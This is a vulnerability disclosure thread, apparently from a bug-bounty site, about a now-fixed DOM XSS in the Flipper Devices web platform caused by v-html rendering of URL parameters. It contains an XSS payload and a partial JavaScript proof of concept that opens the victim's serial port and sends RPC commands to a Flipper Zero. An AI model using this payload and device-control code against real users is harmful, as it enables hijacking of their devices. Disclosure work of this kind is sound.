DOM XSS on via the "channel" or "version" parameters in flipperdevices/


Reported on

Oct 27th 2022


Hi ! The Web Platform for the Flipper is vulnerable to DOM XSS via the channel and version parameters. This occurs because when the user clicks on Choose firmware the values are passed directly to innerHTML without parsing.

Proof of Concept

  1. 1 The user access the following URL :
  2. 2 The user clicks on the Choose firmware dropdown
  3. 3 An alert pops.


The vulnerable portion of the code in Vue.js is on

            <template v-slot:option="scope">
              <q-item v-bind="scope.itemProps">
                <q-item-section class="items-start">
                  <q-item-label v-html="scope.opt.label" />
                <q-item-section class="items-end">
                  <q-item-label v-html="scope.opt.version" :class="'fw-option-label ' + scope.opt.value"/>

The v-html directive is used, this causes the variables to be inserted as HTML, where probably should be only text.


An attacker can send a malicious link to the victim that runs arbitrary javascript on the page.

Hey , I have made a PoC achieving RCE on the Flipper Zero to evidence the full impact of the vulnerability.

Video :

// payload : <img/src/onerror=import('')>

const sleep = ms => new Promise(r => setTimeout(r, ms));

setTimeout( async() => {

    // disconnect current serial ;
    document.querySelector("#q-app > div > header > div > button").click();

    await sleep(100);

    try {
        document.querySelector("body > div:nth-child(3) > div > div > div.column.items-center > button").click();
    } catch {
        document.querySelector("body > div:nth-child(4) > div > div > div.column.items-center > button").click();

    await sleep(500);

    var ports = await navigator.serial.getPorts();
    var pwn = await ports[0].open({baudRate:1});
    var payload = [
        new Uint8Array([115,116,97,114,116,95,114,112,99,95,115,101,115,115,105,111,110,13]).buffer, // start_rpc_session\r

On the PoC I just sent commands to write 1337 on the screen, but it's possible to send any command to the device, including installing applications and sending files.

Hey @caioluders, I just published the vulnerability. I was actually trying to do this the day it was fixed, on November 17th, but the website wouldn't react to me pressing "Publish".

Thank you @psmoros for reminding me to look into this again, it worked this time.

@caioluders, thanks again for the amazing work!
